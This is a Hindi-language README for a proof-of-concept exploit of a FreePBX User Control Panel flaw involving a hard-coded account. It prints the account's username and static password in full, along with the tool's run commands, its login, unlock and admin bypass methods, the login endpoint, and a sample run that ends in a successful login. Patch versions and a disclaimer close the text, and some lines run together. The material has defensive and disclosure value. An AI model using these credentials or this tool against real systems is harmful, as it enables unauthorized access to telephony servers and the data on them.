
CVE-2026-46376 - हार्ड-कोडेड क्रेडेंशियल्स के माध्यम से FreePBX UCP तक बिना प्रमाणीकरण के पहुंच
FreePBX के यूज़र मैनेजमेंट (userman) मॉड्यूल में एक गंभीर भेद्यता अप्रमाणित हमलावरों को UCP जेनेरिक टेम्पलेट सेटअप प्रक्रिया के दौरान एम्बेड किए गए हार्ड-कोडेड क्रेडेंशियल्स का उपयोग करके यूज़र कंट्रोल पैनल (UCP) तक पहुंचने की अनुमति देती है।
CVSS v4.0: 9.1 (क्रिटिकल) | CWE-798: हार्ड-कोडेड क्रेडेंशियल्स का उपयोग
प्रकटीकरण: 15 मई, 2026 | रिपोर्टर: s0nnyWT
जब कोई व्यवस्थापक वैकल्पिक UCP जेनेरिक टेम्पलेट सेटअप सुविधा (2021 में पेश की गई) का उपयोग करता है, तो एक सिस्टम उपयोगकर्ता FreePBXUCPTemplateCreator हार्ड-कोडेड, स्थिर पासवर्ड के साथ बनाया जाता है। यदि व्यवस्थापक सेटअप के बाद कभी भी यह पासवर्ड नहीं बदलता है, तो नेटवर्क पर कोई भी अप्रमाणित उपयोगकर्ता इन क्रेडेंशियल्स के साथ UCP में लॉग इन कर सकता है।
| फ़ील्ड | मान |
|---|---|
| उपयोगकर्ता नाम | FreePBXUCPTemplateCreator |
| पासवर्ड | 1a2b3c@fd48jshs03123ld |
| स्रोत | Userman.class.php — पासवर्ड md5() से गुज़ारा जाता है |
| हमला वेक्टर | नेटवर्क |
| जटिलता | कम |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| पूर्वापेक्षा | व्यवस्थापक ने UCP जेनेरिक टेम्पलेट सेटअप चलाया हो |
नोट:
FreePBXUCPTemplateCreatorउपयोगकर्ता केवल तभी बनाया जाता है जब कोई व्यवस्थापक स्पष्ट रूप से UCP जेनेरिक टेम्पलेट सेटअप सुविधा चलाता है। जिन सिस्टमों पर यह सेटअप कभी नहीं किया गया, वे प्रभावित संस्करण चलाने पर भी इस CVE के माध्यम से शोषणीय नहीं हैं।
फिक्स इंस्टॉल/अपग्रेड के दौरान bin2hex(random_bytes(24)) का उपयोग करके पासवर्ड को रैंडमाइज़ करता है, और मौजूदा टेम्पलेट क्रिएटर्स के पासवर्ड अपग्रेड पर पुनः जनरेट किए जाते हैं।
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
module=User&command=login के साथ POST /ucp/ajax.php के माध्यम से UCP में लॉग इन करें?unlockkey=&templateid= क्वेरी पैरामीटर के माध्यम से अनलॉक कुंजी बाईपास का प्रयास करें$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
यह जांचने के लिए कि कोई सिस्टम शोषणीय है या नहीं, PoC क्रेडेंशियल्स के साथ module=User&command=login और POST /ucp/ajax.php पर एक लॉगिन अनुरोध भेजता है। {"status":true} प्रतिक्रिया इंगित करती है कि टेम्पलेट क्रिएटर उपयोगकर्ता मौजूद है और पासवर्ड अभी भी डिफ़ॉल्ट है।
{"status":false,"message":"Invalid Login Credentials"} प्रतिक्रिया का अर्थ है:
userman मॉड्यूल को 16.0.45 (FreePBX 16) या 17.0.7 (FreePBX 17) में अपडेट करेंयह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के खिलाफ इस एक्सप्लॉइट का अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण से होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।
| प्लेटफ़ॉर्म | userman मॉड्यूल | प्रभावित | पैच किया गया |
|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |